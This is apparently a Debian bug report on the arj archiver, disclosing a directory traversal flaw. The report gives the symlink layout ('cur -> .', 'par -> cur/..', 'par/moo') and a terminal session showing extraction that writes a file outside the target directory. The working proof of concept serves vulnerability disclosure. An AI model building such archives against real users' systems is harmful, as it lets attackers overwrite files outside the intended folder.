Package: arj Version: 3.10.22-15 Tags: security The attached archive contains two symlinks and a regular file:
cur -> .
par -> cur/..
par/moo
This setup defeats ARJ's directory traversal protections:
$ ls ../moo
/bin/ls: cannot access '../moo': No such file or directory
$ arj x traversal-dirsymlink2.arj
ARJ32 v 3.10, Copyright (c) 1998-2004, ARJ Software Russia. [04 Jun 2016]
Processing archive: traversal-dirsymlink2.arj
Archive created: 2017-07-06 22:51:02, modified: 2017-07-06 22:51:02
Extracting cur (SymLink) OK
Extracting par (SymLink) OK
Extracting par/moo OK
3 file(s)
$ ls ../moo
../moo
--
Jakub Wilk
traversal-dirsymlink2.arj
Description: Binary data

